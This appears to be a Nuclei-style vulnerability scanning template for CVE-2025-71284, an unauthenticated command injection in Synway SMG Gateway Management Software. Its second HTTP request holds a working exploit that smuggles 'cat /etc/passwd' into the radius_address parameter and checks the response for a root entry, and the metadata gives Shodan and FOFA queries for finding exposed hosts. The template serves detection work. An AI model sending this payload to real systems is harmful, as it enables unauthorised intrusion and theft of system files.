Copy
id: CVE-2025-71284
info:
name: Synway SMG Gateway Management Software - Command Injection
author: 0x_Akoko
severity: critical
description: |
Synway SMG Gateway Management Software has command injection from unsanitized interpolation of the radius_address parameter in a sed command at /en/9-2radius.php, allowing unauthenticated remote code execution through crafted POST requests.
impact: |
Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.
remediation: |
Update to the latest version of the Synway SMG Gateway Management Software.
reference:
- https://mrxn.net/jswz/synway-9-2radius-rce.html
- https://nvd.nist.gov/vuln/detail/CVE-2025-71284
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-71284
epss-score: 0.13888
epss-percentile: 0.96632
cwe-id: CWE-78
metadata:
max-request: 2
verified: true
vendor: synway
product: smg_gateway_management_software
shodan-query: http.title:"Gateway Management"
fofa-query: 'title="Gateway Management"'
tags: cve,cve2025,synway,smg,rce,unauth,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /en/9-2radius.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "englobal.css", "radius_address", "shared_secret")'
condition: and
internal: true
- raw:
- |
POST /en/9-2radius.php?authority=6 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
save=1&enable_radius=1&radius_address=%2F%27%3Bcat%20%2Fetc%2Fpasswd%3B%23%2B%2B&shared_secret=x&radius_address2=&shared_secret2=&source_ip=&timeout=3&retry=1
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450220286699a5731e52b6f3f593c268c49f65b3baa7a35f68727ab513936f7e1196d1022100ef39896189a52fab895b9a829b15d90dc150e31020460b5f04a9d55e5b1586c9:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.